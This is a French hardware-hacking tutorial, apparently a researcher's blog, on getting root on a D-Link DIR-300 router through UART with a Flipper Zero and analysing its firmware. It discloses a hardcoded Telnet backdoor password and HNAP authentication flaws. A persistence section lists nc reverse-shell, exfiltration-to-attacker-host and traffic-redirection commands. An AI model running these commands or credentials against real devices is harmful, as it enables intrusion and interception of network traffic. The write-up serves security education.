0ri0n

Exploitation d'un routeur D-Link via interface UART avec le Flipper Zero : Guide complet

Guide complet sur l'exploitation d'un routeur D-Link via l'interface UART en utilisant un Flipper Zero. Analyse matérielle, identification des pins, et accès root.

15 min read

Introduction

Après avoir retrouvé un vieux routeur D-Link DIR-300 dans un placard, je me suis lancé un défi : aller au-delà du simple accès à la console d'administration. L'objectif est de dumper le firmware, d'analyser son système de fichiers et de découvrir des vulnérabilités cachées. Ce type d'analyse matérielle (hardware hacking) est une compétence essentielle en sécurité offensive.

Contexte technique

Qu'est-ce que l'UART ?

L'UART (Universal Asynchronous Receiver-Transmitter) est un protocole de communication série asynchrone utilisé pour la communication entre composants électroniques. Sur les routeurs, il sert souvent de "porte de service" pour les ingénieurs, offrant un accès aux logs de démarrage (boot logs) et parfois à un shell système root.

Pasted image 20251124191438.png

Le Flipper Zero comme outil d'analyse

Étant un heureux possesseur d'un Flipper Zero, un outil multi-fonction pour le hardware hacking, et connaissant son potentiel multi-domaine, j'avais remarqué dans le firmware Momentum une option USB-UART dans l'application GPIO. Cette fonctionnalité transforme le Flipper Zero en pont USB-UART, permettant de communiquer entre un ordinateur et un dispositif série.

Pasted image 20251124190126.png

Phase 1 : Analyse physique et identification de l'interface UART

Démontage du routeur

Ne sachant pas encore si le routeur possède une interface UART accessible, j'ai décidé de le démonter afin d'analyser la carte mère (PCB - Printed Circuit Board).

Étapes du démontage :

  1. Débrancher le routeur et retirer l'alimentation
  2. Retirer les vis (souvent cachées sous des patins en caoutchouc)
  3. Ouvrir délicatement le boîtier pour accéder à la carte principale

IMG_2922 2.jpg

Identification visuelle des pins UART

En ouvrant le routeur, je remarque immédiatement une succession de 4 pins alignés, typiques des interfaces UART sur les équipements embarqués.

IMG_2927.jpg

Indices visuels pour identifier une interface UART :

  • Série de 4 pins alignés (généralement TX, RX, GND, VCC)
  • Souvent disposés près du processeur principal ou de la mémoire flash
  • Parfois étiquetés sur le PCB (J1, J2, UART, Console, Debug)

Phase 2 : Identification du pinout UART

Les pins UART standards

Une interface UART typique comprend :

  • TX (Transmit) : Envoie des données depuis le routeur
  • RX (Receive) : Reçoit des données vers le routeur
  • GND (Ground) : Masse électrique de référence
  • VCC (optionnel) : Alimentation 3.3V ou 5V
Pasted image 20251124191306.png

Identification du pin GND (masse)

Ma stratégie pour trouver le pin de masse est la suivante :

Méthode 1 : Test de continuité

  • Utiliser un multimètre en mode continuité (buzzer)
  • Tester chaque pin contre un point de masse connu (blindage métallique, vis de montage)
  • Le pin qui déclenche le buzzer est le GND

Méthode 2 : Analyse des tensions lors de l'extinction (méthode utilisée ici)

  1. Brancher et démarrer le routeur
  2. Avec un multimètre en mode voltmètre (DC), mesurer la tension de chaque pin par rapport à la masse du circuit
  3. Éteindre le routeur et observer les tensions
  4. Le pin GND se reconnaît par le déchargement progressif des condensateurs : c'est le seul port qui descend graduellement vers 0V, tandis que les autres tombent instantanément à 0V

Pasted image 20251124210929.png

Résultat : Pin GND identifié avec succès.

Identification du pin TX

Le pin TX est celui qui transmet les données depuis le routeur. C'est le plus important à identifier car il nous permettra de lire les logs de boot.

Méthode d'identification :

  1. Connecter le GND du Flipper au GND identifié
  2. Connecter successivement chaque pin suspect au pin RX du Flipper
  3. Démarrer le routeur et observer si des données apparaissent
  4. Le pin qui génère du texte lisible lors du boot est le TX

Tension typique :

  • UART TTL moderne : 3.3V (la plupart des routeurs récents)
  • UART TTL ancien : 5V (certains vieux équipements)

Attention : Connecter un signal 5V directement sur un Flipper Zero (qui fonctionne en 3.3V) peut l'endommager. Utiliser un diviseur de tension si nécessaire.

Pasted image 20251124211752.png

Identification du pin RX (optionnel pour la lecture)

Le pin RX reçoit les commandes. Il n'est nécessaire que si nous voulons interagir avec le shell, pas seulement lire les logs.

On arrive finalement à ce pinout :

Pasted image 20251125003341.png

Phase 3 : Détermination du baudrate

Qu'est-ce que le baudrate ?

Le baudrate (ou débit en bauds) représente le nombre de symboles transmis par seconde. Pour l'UART, cela correspond généralement au nombre de bits par seconde (bps).

Baudrates courants :

  • 9600 bauds (ancien matériel)
  • 38400 bauds
  • 57600 bauds (courant sur les routeurs D-Link)
  • 115200 bauds (très courant sur matériel récent)
  • 230400 bauds (haute vitesse)

Tentative avec le Logic Analyzer du Flipper Zero

J'ai trouvé sur le Flipper Zero une application appelée Logic Analyzer. En théorie, cette application permet de :

  1. Capturer les signaux numériques sur les pins GPIO
  2. Exporter les données pour analyse dans PulseView
  3. Décoder le protocole UART automatiquement

Principe de détermination du baudrate :

  • Capturer l'onde émise lors de la transmission
  • Mesurer la durée d'un bit (période T)
  • Calculer la fréquence : f = 1 / T
  • Le baudrate correspond à cette fréquence

Pasted image 20251124212051.png

Exemple :

  • Si un bit dure 17,36 µs (0,00001736 seconde)
  • Baudrate = 1 / 0,00001736 ≈ 57 600 bauds

Problème rencontré

Après de nombreuses tentatives avec l'application Logic Analyzer du Flipper Zero et PulseView, impossible d'obtenir une capture exploitable. Le Flipper n'était pas correctement reconnu comme interface de capture compatible avec Sigrok/PulseView.

Note : J'essayerai de contribuer au projet pour corriger ce problème d'intégration.

Solution alternative : Arduino comme Logic Analyzer

Suivant la même logique, j'ai opté pour l'utilisation d'un Arduino comme analyseur logique DIY.

Matériel utilisé :

  • Arduino Uno / Nano
  • Firmware Logic Analyzer pour Arduino
  • Logiciel PulseView sur PC

Procédure :

  1. Flasher le firmware Logic Analyzer sur l'Arduino
  2. Connecter le TX du routeur à une pin de l'Arduino
  3. Connecter les GND ensemble
  4. Démarrer la capture dans PulseView
  5. Allumer le routeur
  6. Analyser le signal UART capturé avec le décodeur de protocole

Pasted image 20251125004802.png

L'analyse montre que le débit standard le plus proche est de 57 600 bauds. Bien que l'échantillonnage via l'Arduino soit imparfait, la marge d'erreur reste acceptable pour identifier la vitesse de communication.

Décodage dans PulseView :

  • Ajouter le décodeur "UART"
  • Le bon baudrate affichera du texte lisible, les autres afficheront des caractères aléatoires

Résultat : Baudrate identifié à 57 600 bauds pour ce routeur D-Link.

Phase 4 : Connexion et accès au shell

Configuration du câblage final

Une fois le baudrate déterminé, j'utilise le Flipper Zero comme pont USB-UART pour établir une connexion permanente entre mon PC et le routeur.

Câblage :

Routeur (UART)     →    Flipper Zero (GPIO)
─────────────────────────────────────────────
TX                 →    RX (Pin 14)
RX                 →    TX (Pin 13)
GND                →    GND (Pin 8 ou 11)

Pasted image 20251124190335.png

Note : J'ai utilisé des câbles jumper plutôt que de souder directement sur le PCB, ce qui permet de garder le routeur intact et réutilisable.

Configuration du Flipper Zero

  1. Lancer le firmware Momentum
  2. Aller dans Applications → GPIO → USB-UART Bridge
  3. Configurer le baudrate : 57600 (récupère de base celui définit sur le PC)
  4. Démarrer le bridge

Le Flipper apparaît maintenant comme un périphérique série sur le PC (généralement /dev/ttyACM0 ou /dev/ttyACM1 sous Linux).

Connexion au shell série

Sur Linux/macOS, j'utilise picocom, un émulateur de terminal série léger :

picocom -b 57600 /dev/ttyACM1

Paramètres de la commande :

  • -b 57600 : Spécifie le baudrate
  • /dev/ttyACM1 : Périphérique série (peut varier)

Alternatives à picocom :

  • screen /dev/ttyACM1 57600
  • minicom -D /dev/ttyACM1 -b 57600

IMG_2939 1.jpg

Observation du boot et accès root

Une fois connecté, je redémarre le routeur et observe la séquence complète de boot :

À la fin de la procédure de boot, bingo : un prompt root apparaît sans demande de mot de passe !

Analyse de sécurité :

  • Aucune authentification requise sur la console série
  • Accès root direct dès le boot
  • Aucune restriction de commandes

Ce comportement était courant sur les routeurs grand public des années 2000-2010, où la console série était considérée comme un accès physique "sécurisé par l'accès au matériel".

Phase 5 : Extraction et Reconstruction du Firmware (Forensics)

L'accès root ne suffit pas. Pour trouver des failles logiques, il faut extraire le firmware. N'ayant pas d'outils comme wget ou ssh sur cette BusyBox minimaliste (v1.1), j'ai dû exfiltrer les données via le câble série (UART).

Le défi de l'extraction UART

J'ai utilisé une méthode "système D" : lire la mémoire flash (/dev/mtd0) et l'envoyer en texte via le terminal.

  • Problème : La connexion série sans contrôle de flux matériel est instable. Des octets sautent, et le terminal ajoute des caractères parasites.
  • Conséquence : Le dump initial était corrompu et illisible par les outils d'analyse standards (binwalk).

La reconstruction du binaire (Le "Descrambling")

En analysant le dump hexadécimal, j'ai découvert que les données n'étaient pas seulement corrompues, mais mélangées par l'architecture du processeur MIPS.

  • Signature détectée : Le texte "Linux Kernel Image" apparaissait sous la forme K xuenremI l.ega.
  • Diagnostic : Architecture Bi-Endian. Le bootloader est en Big Endian, mais les données sont stockées en Little Endian avec un byte-swap (inversion) tous les 4 octets.
      Lecture Brute (Big Endian)              Lecture Corrigée (Little Endian)
    +-----------------------------+            +-----------------------------+
    | Adr  | B1 | B2 | B3 | B4    |            | Adr  | B4 | B3 | B2 | B1    |
    |------+----+----+----+-------|            |------+----+----+----+-------|
    | 0x00 | 12 | 34 | 56 | 78    |   ====>    | 0x00 | 78 | 56 | 34 | 12    |
    | 0x04 | AA | BB | CC | DD    |            | 0x04 | DD | CC | BB | AA    |
    +-----------------------------+            +-----------------------------+
               ^                                          ^
               |________ Inversion par bloc de 4 _________|

J'ai développé un script Python pour :

  1. Inverser les blocs de 4 octets (Descrambling).
  2. Réaligner les données.
  3. Extraire le système de fichiers SquashFS caché dans une compression LZMA non standard.

Résultat : Un système de fichiers propre et entièrement navigable (/etc, /bin, /www).

Vous pouvez retrouver le code utilisé en détail dans ce repo : https://github.com/Sorcier77/dlink-dir300-firmware-analysis.

Phase 6 : Analyse de vulnérabilités (les découvertes)

L'analyse statique des fichiers extraits a révélé des failles critiques laissées par le constructeur (Alphanetworks pour D-Link).

1. La Backdoor Telnet "Alphanetworks"

En analysant les scripts de démarrage (/etc/init0.d/S80telnetd.sh), j'ai trouvé cette ligne :

telnetd -l /usr/sbin/login -u Alphanetworks:$image_sign -i br0 &

Le routeur lance un serveur Telnet caché qui force l'utilisation d'un compte spécifique.

  • Utilisateur : Alphanetworks
  • Mot de passe : Trouvé dans /etc/config/image_sign -> wrgn49_dlob_dir300b5

Ce compte possède les privilèges Root (UID 0) et permet de prendre le contrôle total du routeur à distance sans connaître le mot de passe de l'administrateur légitime.

2. Les Failles HNAP (Home Network Administration Protocol)

Le dossier /etc/templates/hnap/ contient des scripts PHP gérant les commandes XML (SOAP). L'analyse du code source a révélé plusieurs vecteurs d'attaque :

  • Fuite d'information (GetDeviceSettings.php) : Ce script peut renvoyer le mot de passe administrateur en clair dans une balise XML <AdminPassword> sans vérification d'authentification robuste.
  • Reset de mot de passe (SetDeviceSettings.php) :
if(query("group")==0) set("password", query($nodebase."AdminPassword"));

Ce code permet à une requête malveillante de changer le mot de passe administrateur à la volée, permettant un Account Takeover (ATO) complet.

Phase 7 : Exploitation et persistance

Vecteurs de persistance

1. Modification de scripts de démarrage :

# vi /etc/init.d/rcS
# Ajouter une backdoor au démarrage

2. Ajout d'un crontab pour exfiltration :

# crontab -e
*/5 * * * * netstat -an | nc attacker.com 4444
*/10 * * * * tcpdump -i br0 -w /tmp/capture.pcap && scp /tmp/capture.pcap attacker@server:/captures/

3. Installation d'une backdoor réseau :

# Démarrer un reverse shell persistant
echo "nc -e /bin/sh attacker.com 4444 &" >> /etc/rc.local

4. Modification du firmware :

  • Extraire le firmware complet
  • Modifier les binaires ou ajouter des services
  • Reflasher le routeur avec la version modifiée

5. DNS hijacking / ARP spoofing :

# Modifier les règles iptables pour rediriger le trafic
iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination attacker-ip:80

Scénarios d'attaque avancés

Scénario 1 : Point d'accès compromis sur le long terme

  • Modifier le firmware pour ajouter un backdoor réseau
  • Capturer passivement tout le trafic du réseau local
  • Exfiltrer périodiquement vers un serveur C2

Scénario 2 : Attaque de la supply chain

  • Compromettre des routeurs avant livraison
  • Déployer des implants firmware
  • Créer un botnet de routeurs compromis

Scénario 3 : Pivot en pentest interne

  • Accès physique temporaire au routeur client
  • Installation d'un backdoor via UART
  • Utilisation comme point d'entrée pour l'infrastructure interne

Contre-mesures et sécurisation

Protection côté fabricant

Les fabricants modernes ont progressivement amélioré la sécurité des interfaces UART :

1. Authentication sur la console série :

  • Demande de login/password même sur UART
  • Intégration avec le système d'authentification principal

2. Désactivation de l'UART en production :

  • Fusibles électroniques (eFuses) brûlés en usine
  • Pins UART non peuplés sur le PCB
  • Traces PCB coupées physiquement

3. Boot sécurisé (Secure Boot) :

  • Vérification cryptographique du firmware au démarrage
  • Empêche le flashage de firmware modifié

4. Chiffrement du firmware :

  • Firmware chiffré et signé
  • Rend l'extraction et la modification plus difficiles

5. Protection physique :

  • Résine époxy sur les puces critiques
  • Boîtiers scellés avec détection d'ouverture
  • Circuits imprimés multicouches complexes

État de l'art et évolution

Situation actuelle (2024-2025)

Aujourd'hui, il devient de plus en plus compliqué de se connecter directement via UART à la console série sur les routeurs récents, particulièrement sur :

  • Routeurs professionnels (Cisco, Juniper, Arista) : Authentication forte, secure boot
  • Routeurs grand public haut de gamme (Asus, Netgear récents) : UART désactivé ou protégé
  • Équipements IoT modernes : Fusibles eFuse, firmware chiffré

Cas où l'UART reste vulnérable

Cependant, cette méthode reste efficace sur :

  • Équipements anciens (< 2015) : Aucune protection UART
  • Routeurs bas de gamme : Coût prioritaire sur la sécurité
  • Équipements IoT bas prix : Sécurité souvent négligée
  • Matériel industriel : Cycles de vie longs, firmwares non mis à jour

Contexte de pentest et Red Team

L'exploitation UART reste une méthode à considérer dans le cadre d'un pentest ou d'une opération Red Team pour plusieurs raisons :

1. Vecteur d'attaque avec accès physique :

  • Scénarios de social engineering (faux technicien)
  • Compromise de filiale avec sécurité physique faible
  • Attaques supply chain

2. Persistance hardware :

  • Implants difficiles à détecter
  • Résistant aux réinitialisations logicielles
  • Bypass des contrôles réseau

3. Extraction de secrets :

  • Clés WiFi, certificats, mots de passe
  • Configuration réseau complète
  • Informations sur la topologie interne

4. Démonstration d'impact :

  • Preuve de concept dans un rapport de pentest
  • Sensibilisation aux risques physiques
  • Justification d'investissements en sécurité physique

Outils et ressources complémentaires

Matériel recommandé

  • Flipper Zero : Multi-tool polyvalent (~170€)
  • Câbles Dupont (3€)
  • un vieux routeur
  • un PC évidemment

Logiciels utiles

  • picocom / minicom / screen : Émulateurs de terminal série
  • PulseView : Analyse de signaux logiques
  • Binwalk : Analyse et extraction de firmware
  • Firmwalker : Analyse de sécurité de firmware

Conclusion

Ce projet démontre qu'avec un peu de temps, de connaissances techniques et un équipement abordable (Flipper Zero ~170€, Arduino ~10€), il est possible de compromettre complètement un routeur disposant d'une interface UART non protégée.

Points clés à retenir

  1. L'accès physique est un accès root : Sur du matériel non sécurisé, l'accès physique permet souvent un contrôle total
  2. Le matériel ancien est vulnérable : Les routeurs de plus de 5-10 ans ont rarement des protections UART
  3. La sécurité physique compte : Les entreprises doivent protéger l'accès physique à leurs équipements
  4. Le hardware hacking est accessible : Les outils sont de plus en plus abordables et documentés

Perspectives

Cette technique d'exploitation UART s'inscrit dans une démarche plus large de hardware hacking et de IoT security. Les compétences acquises ici sont transférables à :

  • L'analyse de sécurité d'objets connectés (caméras IP, thermostats intelligents, etc.)
  • Le reverse engineering de firmware
  • Les audits de sécurité physique
  • La recherche de vulnérabilités zero-day

La frontière entre sécurité logicielle et sécurité matérielle s'estompe de plus en plus. Un professionnel de la cybersécurité moderne doit comprendre les deux aspects pour protéger efficacement les systèmes.


Références

  1. Momentum Firmware pour Flipper Zero
  2. Logic Analyzer pour Flipper Zero
  3. PulseView - Sigrok
  4. OWASP Firmware Security Testing Methodology
  5. The Hardware Hacking Handbook

Clause de non-responsabilité : L'auteur décline toute responsabilité quant à l'utilisation malveillante des informations présentées dans cet article. Ces techniques doivent être utilisées uniquement dans un cadre légal et éthique.